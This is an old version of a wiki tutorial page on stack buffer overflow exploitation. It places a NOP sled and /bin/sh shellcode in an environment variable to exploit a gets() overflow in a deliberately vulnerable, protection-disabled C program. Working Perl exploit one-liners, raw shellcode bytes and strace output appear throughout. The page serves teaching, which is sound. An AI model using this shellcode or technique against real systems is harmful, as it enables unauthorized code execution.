Dies ist eine alte Version des Dokuments!


Environment Variable and Command Line Argument Buffers

Considering a NOP sled and the shellcode, the memory region available for the overall payload might become too small pretty soon. Instead of using only buffers of the application to store the payload, it is also possible to use buffers implicitly included in the application by the operating system. Specifically, parts of the payload can be stored in environment variables or command line arguments. To use this technique, the return address needs to be overwritten with the corresponding buffer address. Being located at the bottom end of the stack, addresses of these locations are easier to guess than addresses of arbitrary buffers in the application.

Following example is used to demonstrate this exploitation technique.

external/env.c
// gcc -g -O0 -m32 -std=c99 -mpreferred-stack-boundary=2 -z execstack env.c
#include <stdio.h>
 
int main(int argc, char *argv[])
{
    char input[4] = {0};
    gets(input);
    return 0;
}

After going through the previous chapters, a call to gets() should be eye-catching. Sadly, 4 bytes are in no way sufficient for shellcode. We will make use of an environment variable to store the NOP sled and the shellcode. The actual overflow buffer input is only used to overwrite the return address of the stack frame. Using Perl to generate the payload, the environment variable is filled with a 65536 (216) byte NOP sled followed by the shellcode. Environment variables are among the very first things pushed to the stack and have addresses close to the bottom of the stack (address 0xffffffff). Both of these properties make it relatively easy to guess an address within the NOP sled.

$ perl -e 'print "A"x12 . "\x01\x01\xff\xff" . "\n"' \
| BUFFER=$(perl -e 'print "\x90"x65536 .
"\x83\xec\x30\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') ./a.out
$ echo $?
0

The program exits successfully but without providing us a shell to execute commands. Let's use strace to inspect what is going on.

$ perl -e 'print "A"x12 . "\x01\x01\xff\xff" . "\n"' \
| BUFFER=$(perl -e 'print "\x90"x65536 .
"\x83\xec\x30\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') \
strace ./a.out
[...]
execve("//bin/sh", ["//bin/sh"], NULL)  = 0
[...]
read(0, "", 8192)                       = 0
exit_group(0)                           = ?

The output shows that the shell was actually started, but closed immediately afterwards. Although confusing at the beginning, the explanation for this behavior is reasonable. After the shell is started up, it tries to read a command from the standard input. While used for sending the payload to the application, we implicitly closed the input stream afterwards. As the shell realizes there is no more input to read, it exits silently. To keep the shell open and enter commands manually, we need to keep the input stream open. One possibility to do so is the following.

$ cat <(perl -e 'print "A"x12 . "\x01\x01\xff\xff" . "\n"') - \
| BUFFER=$(perl -e 'print "\x90"x65536 .
"\x83\xec\x30\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') ./a.out

<() is the process substitution operator and replaces the standard input stream of cat with the command between the parentheses which in our case is a Perl command. Additionally, with the - as second parameter, we signal cat to read from the standard input. cat first takes the output of the command in the parentheses and writes it to the pipe to a.out. Keeping the stream open, it still waits for input on the standard input stream which is also passed on through the pipe.



← Back to NOP sleds Overview Continue with return-oriented programming (ROP) →